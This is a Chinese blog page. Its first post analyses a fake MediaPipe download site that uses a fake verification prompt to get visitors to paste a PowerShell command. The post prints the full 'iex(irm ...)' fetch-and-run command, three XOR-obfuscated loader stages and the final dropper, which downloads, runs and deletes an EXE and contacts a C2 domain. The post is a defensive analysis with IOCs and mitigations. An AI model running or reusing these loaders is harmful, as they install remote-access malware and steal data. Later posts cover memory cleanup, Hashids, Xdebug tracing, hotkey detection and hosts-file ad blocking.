l1n6yun's Blog

记录学习的技能和遇到的问题

最近在搞MediaPipe姿态识别的项目,搜资料的时候碰上个挺有意思的钓鱼站,顺手完整逆向分析了一下,给做AI视觉开发的兄弟们避个坑。

遇到钓鱼站了

那天搜MediaPipe下载资源,点进一个网站,乍一看还挺像那么回事。点击下载按钮后,页面跳转到了一个所谓的人机验证界面。

upload successful

这个验证有点奇怪,没有常见的滑块验证码,而是提示让我复制剪贴板里的PowerShell命令到命令行执行来完成验证。剪贴板里自动填充的是这样的:

1
powershell -w h "iex(irm 'authorization-cdn-press-enter.info/fd2920fb5042fa69' -UseBasicParsing)"; exit <#Verification ID: fd2920fb5042fa69#>

稍微有点安全意识的看到这就知道不对劲了。正规的MediaPipe是Google家的开源项目,怎么可能让你执行PowerShell命令来验证?而且这个域名 authorization-cdn-press-enter.info 压根不是Google官方域名,连HTTPS都没有,纯HTTP。

明显是针对开发者的钓鱼投毒,于是干脆跟到底,看看这套攻击链长什么样。

第一层:异或20解密

访问那个恶意URL,拉回来的是一段混淆脚本。攻击者用字节数组加异或20的方式加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$kb173=7827;
$r743a=@(48,100,37,119,112,32,41,57,126,123,125,122,60,84,60,38,44,56,36,56,36,56,32,56,35,44,56,45,37,56);
$r743a+=@(45,37,56,38,37,56,37,56,36,56,38,44,56,38,35,56,34,56,38,45,56,37,32,56,38,37,56,36,56,38);
$k82af=[Math]::Abs(-6797);
$r743a+=@(45,56,38,35,56,38,34,56,44,45,56,38,39,56,37,34,56,38,34,56,44,45,56,32,56,34,56,37,35,56);
$r743a+=@(35,56,35,56,44,45,56,37,35,56,38,34,56,36,56,37,35,56,34,56,45,36,56,38,45,56,38,34,56,37);
$r743a+=@(44,56,38,35,56,45,37,56,37,44,56,37,34,56,35,36,56,35,35,56,35,36,56,34,44,56,37,44,56,38);
$r743a+=@(38,56,34,33,56,34,44,56,34,32,56,35,36,56,37,44,56,38,37,56,34,34,56,35,35,56,35,33,56,32);
$r743a+=@(39,56,35,39,56,34,45,61,104,49,111,79,119,124,117,102,73,60,48,75,57,118,108,123,102,37,37,34,61,105);
$r743a+=@(61,47,48,112,118,36,117,113,41,51,80,51,63,51,123,99,122,120,123,117,112,71,96,102,125,122,115,51,47,48);
$r743a+=@(101,119,112,117,114,41,90,113,99,57,91,118,126,113,119,96,52,60,51,90,51,63,51,113,96,58,67,113,118,87);
$r743a+=@(120,125,113,122,96,51,61,47,125,113,108,60,48,101,119,112,117,114,58,48,112,118,36,117,113,60,48,100,37,119);
$r743a+=@(112,32,61,61);
$kf5e7=$kb173+1;
if($kf5e7 -gt 1){$k0fee=$kf5e7-1}
$k2b01=$k0fee*0+$k82af;
iex(-join($r743a|%{[char]($_-bxor20)}))

逻辑很简单,把数组里每个数值异或20转成字符,拼接后用 iex 执行。这就是第一层,目的是加载第二层加密载荷。

第二层:异或116嵌套远控地址

解密第一层后得到第二段代码,这次用异或116:

1
2
3
4
$p1cd4=-join(@(28,0,0,4,78,91,91,21,1,0,28,27,6,29,14,21,0,29,27,26,89,23,16,26,89,4,6,17,7,7,89,17,26,0,17,6,90,29,26,18,27,91,18,16,70,77,70,68,18,22,65,68,64,70,18,21,66,77,75,43,73,69)|%{[char]($_-bxor116)});
$db0ae='D'+'ownloadString';
$qcdaf=New-Object ('N'+'et.WebClient');
iex($qcdaf.$db0ae($p1cd4))

解密后暴露了核心恶意地址:http://authorization-cdn-press-enter.info/fd2920fb5042fa69?_=1

有意思的是,直接浏览器访问这个链接会返回网页解析失败。攻击者做了访问鉴权,只允许脚本自动化拉取,不让人工直接看。这就更坐实了是个成熟的攻击框架。

第三层:巨型异或124数组

继续跟这个地址,返回的是个超大字节数组混淆脚本,全部数值异或124拼接后执行。里面内置了一个会话标识 session:4263 和一个超长的Base64加密字符串。

1
$vucy6=-join(@(118,88,22,77,24,79,79,24,65,79,73,78,76,71,118,88,22,74,76,68,76,76,65,39,49,29,8,20,33,70,70,61,30,15,84,81,73,72,76,68,85,71,118,88,10,24,69,77,8,14,65,91,29,21,62,68,25,18,31,13,31,78,23,55,53,40,23,27,53,21,57,10,55,27,19,10,29,43,42,12,51,21,69,12,24,43,19,27,26,36,4,74,48,36,50,12,59,40,11,18,29,43,42,12,51,21,15,44,53,21,53,49,50,6,19,14,44,43,16,77,46,62,76,74,48,6,11,74,37,4,76,21,55,5,15,87,30,17,49,24,55,5,76,20,53,63,19,69,39,69,30,18,69,73,24,41,46,13,51,79,15,13,48,36,38,87,31,78,49,23,53,47,31,27,38,27,73,17,26,79,8,21,26,79,24,21,26,79,24,21,26,52,77,21,24,79,77,21,25,36,4,21,25,36,4,21,25,59,54,83,24,17,54,83,24,78,54,83,25,78,54,78,37,18,4,83,37,18,69,74,37,18,4,79,37,18,20,21,26,79,24,21,26,79,12,21,24,17,54,79,37,18,16,74,37,18,12,21,26,43,54,79,37,18,16,74,37,18,4,69,37,18,4,83,37,18,4,21,26,52,73,21,26,52,73,21,25,36,12,21,26,59,54,79,37,18,69,79,37,18,4,21,26,52,69,21,25,36,77,21,26,79,12,21,24,78,54,83,37,18,38,21,25,36,4,21,24,18,73,21,25,17,54,74,37,18,38,83,37,18,4,21,24,18,16,21,24,79,12,21,24,18,77,21,24,18,8,21,24,18,20,21,24,18,8,21,25,59,54,78,26,17,54,68,37,18,20,21,24,18,4,21,24,18,4,21,24,18,69,21,24,18,73,21,24,79,8,21,25,78,54,78,26,78,54,78,25,43,54,78,26,43,54,78,25,43,54,78,26,59,54,83,37,18,38,75,37,18,38,69,37,18,77,21,24,18,16,21,24,18,8,21,24,18,73,21,25,59,54,78,25,17,54,79,25,78,54,74,37,18,77,21,24,79,12,21,24,79,8,21,24,18,20,21,25,78,54,75,37,18,77,21,25,78,54,78,25,17,54,83,37,18,38,74,37,18,38,75,37,18,38,83,37,18,69,21,26,78,54,79,25,78,54,79,25,78,54,78,26,17,54,69,37,18,20,21,25,78,54,72,37,18,20,21,24,18,77,21,24,79,12,21,24,79,12,21,25,17,31,5,29,6,41,42,48,47,37,10,44,62,50,17,29,20,58,22,48,56,37,20,44,52,69,87,26,43,31,6,38,79,42,13,51,21,12,6,58,45,31,62,37,62,72,10,51,21,37,40,24,52,45,50,53,47,49,15,54,5,61,14,38,20,41,52,61,43,61,25,48,6,19,17,57,79,46,76,63,47,15,74,59,21,15,22,44,20,72,10,51,21,38,17,38,78,53,42,62,11,58,27,52,21,68,74,54,20,50,76,24,61,23,14,51,20,11,10,53,63,19,20,53,11,27,18,53,21,15,61,48,5,49,14,38,17,24,18,46,62,41,52,61,43,61,55,54,6,11,14,48,40,19,20,44,56,31,40,24,52,45,50,44,63,15,10,51,21,15,55,54,6,11,14,48,40,19,20,44,56,24,17,29,22,19,13,38,6,53,62,51,6,12,22,61,56,15,21,53,23,46,13,51,21,20,6,58,45,31,62,37,62,72,10,51,21,37,40,24,52,45,50,53,47,49,15,54,5,61,14,38,17,19,74,55,17,53,42,62,11,58,27,52,21,68,74,54,20,50,76,24,61,23,14,51,20,11,10,53,63,19,20,53,11,27,18,53,21,15,61,48,5,49,14,38,17,24,16,29,43,61,14,50,21,8,12,38,76,46,13,51,47,77,6,61,63,15,73,37,11,57,15,54,63,15,8,51,17,73,17,29,45,61,14,51,17,61,38,55,5,11,50,53,17,16,16,29,47,31,14,53,56,12,12,38,76,46,13,53,47,42,6,26,23,45,19,53,40,4,17,29,21,24,6,26,18,42,13,54,78,73,22,53,22,12,9,26,43,73,22,48,5,61,13,30,17,69,13,53,47,42,77,29,21,24,16,38,43,31,77,46,59,73,9,51,22,11,79,50,41,46,9,30,17,73,9,58,45,31,62,37,61,27,18,53,21,15,40,24,52,46,13,53,52,77,68,25,21,77,17,29,22,19,19,37,17,19,73,48,43,62,13,53,52,4,74,24,5,12,17,29,22,8,75,55,21,77,78,26,17,24,18,46,59,73,9,30,17,72,18,55,59,37,42,62,11,58,27,63,63,31,21,55,4,50,76,24,61,15,78,54,6,76,74,44,43,38,13,51,21,20,18,38,6,42,13,53,47,42,6,26,6,49,14,53,22,76,14,50,46,76,74,48,6,11,74,37,4,76,21,55,5,15,87,30,18,11,6,46,59,73,9,49,5,76,10,51,21,76,17,50,46,76,74,48,6,11,74,37,4,76,21,55,5,15,87,30,18,11,6,46,56,50,57,54,5,20,17,30,4,41,52,61,43,61,53,54,5,53,14,57,79,46,76,63,6,37,18,44,40,19,69,38,17,19,74,55,59,24,18,50,47,15,78,54,6,19,6,46,62,76,74,48,6,11,74,37,4,72,68,53,47,76,14,44,40,77,9,37,11,27,18,53,21,15,25,48,6,19,17,30,17,19,74,55,57,45,74,44,56,31,77,52,40,19,10,44,56,12,22,52,47,53,14,55,6,73,9,25,79,41,42,62,11,58,27,63,63,31,21,55,4,50,76,24,61,19,14,53,21,15,74,55,78,38,13,51,21,20,18,49,5,76,10,51,21,76,17,50,40,50,57,29,22,8,79,26,18,77,87,24,79,50,22,54,63,57,18,53,59,37,51,38,18,16,72,37,18,38,87,37,18,38,87,37,18,38,74,37,18,77,87,37,18,69,83,37,18,69,83,37,18,20,79,37,18,38,83,37,18,38,87,37,18,16,72,37,18,16,75,37,18,38,72,37,18,16,73,37,18,24,74,37,18,20,79,37,18,38,87,37,18,16,73,37,18,16,75,37,18,16,74,37,18,24,21,25,36,69,21,25,52,12,21,25,36,12,21,24,78,54,78,25,17,54,78,25,59,54,72,25,78,54,78,25,43,54,78,25,43,54,79,37,18,20,75,37,18,16,74,37,18,38,87,37,18,20,75,37,18,38,72,37,18,69,87,37,18,16,73,37,18,16,74,37,18,20,72,37,18,16,75,37,18,69,83,37,18,38,74,37,18,69,83,37,18,69,79,37,18,16,83,37,18,16,83,37,18,69,78,37,18,20,75,37,18,4,87,37,18,4,79,37,18,69,72,37,18,4,68,37,18,4,83,37,18,4,68,37,18,20,79,37,18,69,79,37,18,20,75,37,18,20,79,37,18,69,73,37,18,69,73,37,18,69,78,37,18,69,79,37,18,4,78,37,18,16,87,37,18,69,78,37,18,4,87,37,18,69,72,37,18,4,87,37,18,69,73,37,18,20,72,37,18,4,68,37,18,69,72,37,18,20,74,37,18,4,87,37,18,4,68,37,18,69,79,37,18,20,79,37,18,4,69,37,18,4,78,37,18,16,83,37,18,20,74,37,18,4,79,37,18,4,78,37,18,4,83,37,18,16,87,37,18,16,87,37,18,20,74,37,18,16,87,37,18,4,69,37,18,20,72,37,18,4,69,37,18,4,68,37,18,69,78,37,18,20,72,37,18,20,72,37,18,4,78,37,18,4,78,37,18,69,79,37,18,20,74,37,18,20,79,37,18,16,87,37,18,20,79,37,18,20,79,37,18,69,72,37,18,4,79,37,18,4,79,37,18,16,83,38,6,54,14,50,46,41,8,54,21,68,68,57,78,38,13,57,43,49,15,50,21,57,68,26,36,20,18,49,78,24,77,29,21,61,13,48,5,20,68,31,78,23,55,53,40,23,27,53,21,57,10,55,20,76,74,44,59,16,16,29,47,31,27,55,43,16,57,51,22,11,79,50,46,41,72,53,47,31,13,57,78,19,73,48,43,62,13,53,63,19,10,55,52,4,17,29,22,8,79,26,18,77,87,24,78,31,6,48,47,68,74,48,47,37,77,49,11,65,65,91,71,118,88,22,76,74,73,30,26,65,88,22,77,24,79,79,24,87,88,22,74,76,68,76,76,71,118,64,95,92,15,25,15,15,21,19,18,70,72,78,74,79,92,95,66,118,88,6,68,30,72,31,73,65,91,91,82,59,25,8,40,5,12,25,84,85,82,61,15,15,25,17,30,16,5,71,118,88,6,68,68,75,24,24,65,88,6,68,30,72,31,73,82,59,25,8,40,5,12,25,84,81,22,19,21,18,84,60,84,77,77,72,80,68,68,80,68,78,80,68,73,80,74,68,80,75,74,80,77,73,80,69,68,80,75,68,80,75,69,80,68,75,80,74,68,80,68,79,80,68,73,85,0,89,7,39,31,20,29,14,33,84,88,35,81,30,4,19,14,79,79,85,1,85,85,71,118,88,22,24,68,76,31,79,65,60,84,68,73,74,75,80,68,77,68,74,80,72,79,68,73,85,71,118,88,6,75,25,73,69,79,65,88,6,68,68,75,24,24,82,59,25,8,49,25,8,20,19,24,84,81,22,19,21,18,84,60,84,77,76,79,80,68,79,80,75,68,80,75,74,80,69,69,80,74,72,80,68,78,80,74,68,80,78,79,80,78,77,80,77,77,72,80,68,73,80,68,79,80,75,78,80,75,69,80,75,76,85,0,89,7,39,31,20,29,14,33,84,88,35,81,30,4,19,14,79,79,85,1,85,80,39,8,5,12,25,39,33,33,60,84,39,15,8,14,21,18,27,33,85,85,71,118,21,26,84,88,22,76,74,73,30,26,92,81,27,8,92,76,85,7,88,22,26,30,69,24,76,65,88,22,76,74,73,30,26,81,77,1,118,88,11,75,76,76,75,75,65,81,22,19,21,18,84,88,6,75,25,73,69,79,82,53,18,10,19,23,25,84,88,18,9,16,16,80,39,29,14,14,29,5,33,88,10,24,69,77,8,14,85,0,89,7,39,31,20,29,14,33,84,88,35,92,81,30,4,19,14,92,75,68,85,1,85,71,118,88,22,72,72,68,25,68,65,88,22,24,68,76,31,79,39,76,33,87,88,22,74,76,68,76,76,71,118,64,95,92,14,25,15,19,9,14,31,25,70,79,73,78,76,92,95,66,118,21,26,84,88,22,76,74,73,30,26,92,81,27,8,92,76,85,7,88,22,75,79,69,69,75,65,88,22,72,72,68,25,68,81,77,1,118,21,25,4,84,88,11,75,76,76,75,75,85)|%{[char]($_-bxor124)});iex($vucy6) <#Verification ID: fd2920fb5042fa69#>

解密后的代码开始用.NET反射绕过检测,并暴露了两个新的C2地址:

1
2
http://authorization-cdn-press-enter.info/7cc6e094212a7ea55678b60405f24d027a38cd981bbdb3f326ff887dabaa499c
http://authorization-cdn-press-enter.info/p/7cc6e094212a7ea55678b60405f24d027a38cd981bbdb3f326ff887dabaa499c

第二个路径访问只返回一个 no,第一个也是解析失败,跟之前一样做了防护。

最终落地:完整木马逻辑

一路解密到最后,终于看到了无混淆的完整恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$n249d='DownloadDa'+'ta';$n324c='Wri'+'teAllBytes';
Start-Sleep -Seconds 17;
$u5dc80=-join(@(15,19,19,23,93,72,72,6,18,19,15,8,21,14,29,6,19,14,8,9,74,4,3,9,74,23,21,2,20,20,74,2,9,19,2,21,73,14,9,1,8,72,80,4,4,81,2,87,94,83,85,86,85,6,80,2,6,82,82,81,80,95,5,81,87,83,87,82,1,85,83,3,87,85,80,6,84,95,4,3,94,95,86,5,5,3,5,84,1,84,85,81,1,1,95,95,80,3,6,5,6,6,83,94,94,4)|%{[char]($_-bxor103)});
$td=[IO.Path]::Combine([IO.Path]::GetTempPath(),[IO.Path]::GetRandomFileName())
[IO.Directory]::CreateDirectory($td)|Out-Null
$tf=[IO.Path]::Combine($td,[IO.Path]::GetRandomFileName()+'.exe')
$wc=New-Object ('Net.WebCl'+'ient')
$ok=0
# 3次重试下载EXE
for($i=0;$i -lt 3 -and !$ok;$i++){
try{
[IO.File]::$n324c($tf,$wc.$n249d($u5dc80))
if([IO.File]::Exists($tf)){$ok=1}else{Start-Sleep 2}
}catch{Start-Sleep 2}
}
# 下载成功启动木马
if(![IO.File]::Exists($tf)){exit}
Start-Process -FilePath $tf
# 启动后延迟5秒删除文件
try{Start-Sleep 5;[IO.File]::Delete($tf)}catch{}
# 额外访问C2地址上报信息
$u90309=-join(@(76,80,80,84,30,11,11,69,81,80,76,75,86,77,94,69,80,77,75,74,9,71,64,74,9,84,86,65,87,87,9,65,74,80,65,86,10,77,74,66,75,11,84,11,19,71,71,18,65,20,29,16,22,21,22,69,19,65,69,17,17,18,19,28,70,18,20,16,20,17,66,22,16,64,20,22,19,69,23,28,71,64,29,28,21,70,70,64,70,23,66,23,22,18,66,66,28,28,19,64,69,70,69,69,16,29,29,71)|%{[char]($_-bxor36)});
$ndaf2='DownloadStr'+'ing'
try{[void]$wc.$ndaf2($u90309)}catch{}

这套流程设计得挺完整的:

  1. 先睡17秒 —— 规避沙箱的快速行为检测,很多沙箱只会监控前几秒的行为
  2. 随机文件名存临时目录 —— 没有固定特征,难以通过文件名拦截
  3. 三次重试下载 —— 保证木马能成功落地,网络波动也不怕
  4. 启动后自删除 —— 运行完5秒就删掉本地exe,取证痕迹很少
  5. 额外上报C2 —— 把设备信息回传给攻击者

全程用的都是PowerShell和.NET原生API,属于典型的 Living off the Land 攻击,传统杀毒软件的静态特征很难拦住。

攻击链路梳理

把整个攻击过程梳理一下:

  1. 诱饵 —— 仿冒MediaPipe官网,专门钓鱼做AI视觉开发的
  2. 诱导 —— 假的人机验证,剪贴板自动填充恶意命令
  3. 加载器 —— powershell -w hidden 静默窗口,远程拉取脚本
  4. 多层解密 —— 四层异或混淆(xor20/116/124/103)加Base64嵌套
  5. 载荷下载 —— 拉取EXE木马存到临时目录
  6. 执行销毁 —— 运行后删除本地文件,回传数据到C2

这套攻击链挺成熟的,针对性强,混淆手段也多样。

高风险点在哪

这个攻击有几个地方挺危险的:

  • 精准定向开发者 —— MediaPipe是做姿态识别的高频工具,开发者急着下资源,警惕性自然就低了
  • 多层混淆 —— 四层异或加密,原始脚本里看不到任何恶意关键词,静态查杀基本失效
  • 无文件攻击 —— 脚本在内存里解密执行,木马运行完还自己删了,日志痕迹极少
  • 伪装验证 —— 让人以为是正常的下载验证流程,很容易就复制命令执行了
  • 纯原生API —— 全程PowerShell和.NET原生接口,绕过基础防护不难

怎么防

资源下载要认准官方

MediaPipe这种Google家的东西,就老老实实去GitHub官方仓库、pip、maven这些正规渠道下。第三方的不知名下载站,凡是让你执行PowerShell或CMD命令的,直接关掉就完事。

PowerShell执行管控

把执行策略改成只允许签名脚本:

1
Set-ExecutionPolicy AllSigned -Force

开启完整的AMSI防护,监控带 iexirmDownloadDataNet.WebClient 这些参数的PowerShell进程。

浏览器防护

  • 访问工具站点先看域名是不是官方的,纯HTTP的就更得留个心眼
  • 防火墙把恶意域名 authorization-cdn-press-enter.info 拦了
  • 开启浏览器的恶意网站拦截功能,不让页面自动写剪贴板

日常习惯

陌生PowerShell命令别直接复制运行,先粘到记事本里看看有没有 irmiexDownloadString 这种可疑关键字。如果要测试未知脚本,在虚拟机里跑,别在办公电脑上直接执行。

最后

现在的钓鱼木马越来越精细化,攻击者专门盯着开发者的刚需工具做文章。这次遇到的MediaPipe钓鱼站,四层异或嵌套混淆、临时目录落地、执行自销毁,整套攻击链挺成熟的。

各位做开发的同学下开源工具、SDK、模型资源的时候,一定认准官方渠道。遇到让你执行命令行验证的页面,直接关掉,别抱侥幸心理。把终端脚本执行管控好,恶意域名也拦截掉,避免远控木马进来了造成代码、账号、设备数据泄露。


IOC汇总

恶意域名:authorization-cdn-press-enter.info

一级载荷地址:/fd2920fb5042fa69

木马下载地址:/7cc6e094212a7ea55678b60405f24d027a38cd981bbdb3f326ff887dabaa499c

上报C2地址:/p/7cc6e094212a7ea55678b60405f24d027a38cd981bbdb3f326ff887dabaa499c

最近电脑越来越卡了,8G 内存开几个 Chrome 标签页就飙到 80%,看着任务管理器里那些“内存大户”就头疼。虽然 Windows 有自己的内存管理机制,但有时候它就是不太“积极”,非得等到内存快爆了才开始回收。

网上找了下,发现 Windows 其实有个 API 可以主动清理进程的内存工作集(Working Set),简单说就是把进程不常用的内存数据挪到虚拟内存里,腾出物理内存给其他程序用。效果嘛,就像给系统来了一次“内存瘦身”,各个进程的内存占用瞬间下降,但程序又不会关闭。

核心原理

关键就是 Windows 的 EmptyWorkingSet 这个 API,它会清空指定进程的工作集。配合 psutil 库遍历所有进程,就能实现一键全局清理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import ctypes
from ctypes import wintypes
import psutil

# 加载系统 API
psapi = ctypes.WinDLL('psapi', use_last_error=True)
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE

EmptyWorkingSet = psapi.EmptyWorkingSet
EmptyWorkingSet.argtypes = [wintypes.HANDLE]
EmptyWorkingSet.restype = wintypes.BOOL

CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL

# ======================
# 【关键】必须用这个权限才能清理内存
# ======================
PROCESS_ALL_ACCESS = 0x001F0FFF


def clean_process(pid):
try:
handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if handle and handle != 0:
EmptyWorkingSet(handle)
CloseHandle(handle)
return True
except:
pass
return False


# 一键清理所有非系统进程
print("=== 一键全局内存清理 ===")
print("效果:所有软件内存瞬间下降,不关闭程序\n")

success = 0

for proc in psutil.process_iter(['pid', 'name']):
try:
pid = proc.pid
name = proc.name()

# 跳过系统关键进程
if pid < 10:
continue

# 清理
if clean_process(pid):
success += 1
print(f"✅ 已清理: {name} (PID:{pid})")

except:
continue

print(f"\n🎉 清理完成!成功优化 {success} 个进程")
print("👉 打开任务管理器查看内存变化!")

几个要注意的点

权限很重要PROCESS_ALL_ACCESS 这个权限值不能写错,否则会清理失败。最开始我就试过用较低权限,结果什么也清不了。

不要动系统进程:PID 小于 10 的基本都是系统关键进程,动它们可能会出问题,所以代码里直接跳过了。

效果因人而异:清理后进程内存占用确实会下降,但如果程序马上又要用那些数据,Windows 会把它们从虚拟内存读回来,内存占用又上去了。所以这只是个“临时救急”的方案,真正的解决办法还是…加内存条。

怎么用?

先装依赖:

1
pip install psutil

然后直接运行脚本就行。建议在内存占用高的时候试试,效果会比较明显。你可以一边开着任务管理器一边跑,看着内存占用往下掉还挺解压的。

不过话说回来,这个脚本也就是治标不治本。如果电脑经常内存不足,还是老老实实加根内存条比较靠谱。这个脚本就当是个小玩具,偶尔拿来给系统“透透气”也挺好的。

最近在做一个对外 API,设计的时候有个问题挺头疼的——数据库用自增 ID,但直接把 /users/1/users/2 这种 URL 暴露出去总感觉不太好。用户一看就知道你有多少用户,还能遍历爬数据。

一开始想过用 UUID,但那玩意儿太长了,36 个字符,URL 看着巨丑。后来无意中刷到一个叫 Hashids 的库,专门干这事的。

这玩意儿是干嘛的

简单说就是把数字 ID 转成类似 YouTube 视频链接那种短字符串。

比如 jN5k8xQ 这种,看着就像随机生成的,但实际上可以还原回原来的数字。这样用户看到的 URL 就是 /users/jN5,根本猜不出来有多少用户,比自增 ID 隐蔽多了。

安装一把梭

Composer 安装就完事了:

1
composer require hashids/hashids

注意需要装 bcmathgmp 扩展,不然会报错。

基本用法

用起来贼简单:

1
2
3
4
5
6
7
8
9
use Hashids\Hashids;

$hashids = new Hashids('my salt');

// 编码
$hash = $hashids->encode(123); // 比如 "x3kQ"

// 解码
$numbers = $hashids->decode('x3kQ'); // 返回 [123]

有个小细节要注意,decode() 返回的永远是数组,即使你只编码了一个数字。所以取值要这样写:

1
$id = $hashids->decode($hash)[0] ?? null;

几个配置参数

构造函数可以传三个参数:

1
2
3
4
5
$hashids = new Hashids(
'my-salt', // 盐值,不同项目用不同的盐
8, // 最小长度,短了会填充
'abcdefghij123456' // 自定义字符集
);

盐值很重要,不同项目的盐值不一样,生成的哈希就不一样,可以防止被破解。

最小长度这个参数也挺有用,比如你想要所有 ID 都至少 8 位,短的会自动填充,看着更统一。

一个小坑

刚开始用的时候发现,传无效的哈希字符串去解码,不会报错,而是返回空数组。所以要判断解码是否成功:

1
2
3
4
$decoded = $hashids->decode($hash);
if (empty($decoded)) {
// 无效的哈希
}

还有不支持负数,传负数进去会返回空字符串,这点文档里有写但容易忘。

不是加密,不是加密,不是加密

重要的事情说三遍。Hashids 的作者在文档里反复强调,这不是加密库,不要用来加密敏感数据。

它能做到的只是”混淆”,让数字看起来不像数字。真要保护数据还是得靠权限控制和加密传输。我理解它更像是”给 ID 穿了件马甲”,防君子不防小人。

顺便提一句

原作者后来又出了个新版本叫 Sqids,本质上是一样的东西,据说算法有些改进。新项目可以考虑用 Sqids,不过 Hashids 也在维护,用着没啥问题。

最后

这个库在我们项目里用了大半年,效果挺好的。API 的 URL 看着干净,也避免了一些简单的遍历攻击。唯一的缺点就是调试的时候要看数据库记录得先解码一下,不过写个小脚本就能搞定的事,不算什么大问题。

如果你也在为暴露自增 ID 这事头疼,可以试试 Hashids,轻量好用,一个 Composer 包就搞定。

最近接手了一个老项目,代码层级嵌套得像套娃一样,改个 bug 光找入口都得半天。本来想用 var_dump 一路打点过去,结果发现这方法太原始了,打印出来一堆乱七八糟的东西,而且每次还要手动删代码。

后来想起 Xdebug 有个 Trace 功能,可以直接记录整个请求过程中所有的函数调用,这不就是我要找的东西吗?

开启 Trace

首先要确保 Xdebug 已经装好了,这个网上教程一堆就不多说了。关键是配置,要在 php.ini 里加上这几行:

1
2
3
4
xdebug.mode = trace
xdebug.use_compression = false
xdebug.trace_output_dir = /tmp
xdebug.trace_output_name = trace.%c

这里有个坑,默认情况下 Xdebug 会把追踪文件压缩成 .xt.gz 格式。虽说压缩是好事,但我只想直接看文本文件,不想每次都解压。把 use_compression 设成 false 就行了,输出的就是纯 .xt 文件。

手动控制追踪范围

最简单的方式是在代码里手动调用:

1
2
3
4
5
6
7
8
9
10
<?php
// 开始追踪
xdebug_start_trace('/tmp/my_trace');

// 你的业务代码
$user = getUser(1);
$orders = getOrders($user);

// 停止追踪
xdebug_stop_trace();

这样只会记录这两个函数之间的调用过程,精准控制范围,不会产生一大堆无用的日志。

看看追踪结果

跑完之后打开 /tmp/my_trace.xt,大概长这样:

1
2
3
4
5
6
7
TRACE START [2026-05-19 10:30:00]
0.0001 397120 -> {main}() /var/www/app.php:0
0.0002 397120 -> getUser(1) /var/www/app.php:5
0.0003 397184 -> Database->query('SELECT * FROM users WHERE id = 1') /var/www/app.php:12
0.0005 397184 <- query() => ['id' => 1, 'name' => 'test'] /var/www/app.php:12
0.0006 397120 <- getUser() => ['id' => 1, 'name' => 'test'] /var/www/app.php:5
TRACE END [2026-05-19 10:30:00]

左边是时间戳,中间是内存占用,箭头表示调用方向。-> 是调用,<- 是返回。一眼就能看出来代码执行的顺序,哪个函数耗时长、占用内存大,清清楚楚。

几个常用的参数

xdebug_start_trace() 可以传第二个参数控制输出格式:

  • XDEBUG_TRACE_APPEND - 追加到现有文件,不会覆盖
  • XDEBUG_TRACE_COMPUTERIZED - 机器可读格式,方便写脚本分析
  • XDEBUG_TRACE_HTML - 输出成 HTML 格式,浏览器直接看

我一般就用默认的,文本格式已经很清晰了。

一些小建议

追踪文件会很大,特别是那种框架项目,一个请求下来几百个函数调用很正常。所以尽量缩小追踪范围,只追踪关键代码段。

另外,追踪对性能影响挺大的,生产环境千万别开,调试完记得关掉。本地开发环境用用就好。

最后

Xdebug Trace 这个功能确实好用,特别是分析不熟悉的代码时,比到处加 var_dump 优雅多了。输出的文件虽然长了点,但信息量足够,能帮你快速理清代码的调用链路。

希望这个小技巧能帮到同样在”看代码看到头秃”的小伙伴们。

最近给某个软件设置了一个全局快捷键,结果按下之后什么反应都没有。换了几个组合键试了试,依然不生效。第一时间想到的就是热键冲突——肯定有其他程序在后台占用了这些组合键。

Windows 上这种热键冲突的问题特别常见,尤其是装了一堆软件之后,各种全局热键互相打架,根本不知道是哪个程序抢了你的快捷键。

以前排查这种问题只能逐个关闭程序试,效率低到离谱。最近发现一个小工具叫 Hotkey Detective,专门用来揪出这些隐藏的热键占用者。

Hotkey Detective 主界面

怎么用?

用法非常简单,打开软件后直接按下你想查询的快捷键,界面就会显示是哪个程序占用了它。

upload successful

比如我想用 Ctrl+Alt+M 来最小化窗口,但设置后不生效。用 Hotkey Detective 查一下,发现是某个截图工具占用了这个组合键。找到占用者之后,要么改截图工具的热键,要么换个组合键,问题就解决了。

整个过程几秒钟就能搞定,比起以前逐个排查程序简直是降维打击。

工作原理

Hotkey Detective 只能检测通过 Windows RegisterHotKey API 注册的全局热键。这类热键的特点是:

  • 在任何窗口下都能触发(即使软件最小化在后台)
  • 优先级高于应用内部的快捷键

所以如果你按下的快捷键在 Hotkey Detective 里查不到,可能是因为:

  1. 那个快捷键是某个应用内部快捷键(比如浏览器里的 Ctrl+T 新建标签页),这类快捷键只在应用激活时生效,不属于全局热键
  2. 某些软件用了其他方式监听键盘(比如直接 Hook 键盘事件),这类也不在检测范围内

不过大部分造成冲突的都是全局热键,所以这个工具覆盖了绝大多数场景。

获取方式

Hotkey Detective 是开源免费的,直接去 GitHub Releases 下载就行:

  • GitHub 地址:https://github.com/ITachiLab/hotkey-detective/releases

下载后解压运行即可,不需要安装,绿色便携。

GitHub Releases 下载页面

小总结

快捷键冲突这种问题虽然不大,但遇到的时候真的很烦。有了 Hotkey Detective,以后再碰到快捷键不生效的情况,不用再瞎猜是哪个程序抢了,直接打开软件按一下,几秒钟就能找到答案。

如果你也经常被各种快捷键冲突困扰,不妨试试这个小工具,说不定能帮你节省不少排查时间。

最近迅雷的广告是越来越多了,每次打开都弹一堆窗口,烦都烦死了。特别是那个VIP广告,关都关不掉,真是服了。

刚好之前学到一个简单粗暴的方法——直接在 hosts 文件里把广告域名”拉黑”。原理很简单,就是把广告域名指向一个无效的IP地址,让广告加载不出来。

操作方法

找到系统的 hosts 文件,位置在:

1
C:\Windows\System32\drivers\etc\hosts

用记事本打开(需要管理员权限),在末尾添加以下内容:

1
2
3
4
# 屏蔽迅雷广告
1.2.3.4 xluser-ssl.xunlei.com
1.2.3.4 xluser2-ssl.xunlei.com
1.2.3.4 xluser3-ssl.xunlei.com

保存后重启迅雷,广告就没了。

可能的副作用

不过这个方法有个小问题——可能会影响迅雷的登录功能。毕竟这几个域名看起来像是用户相关的服务域名。
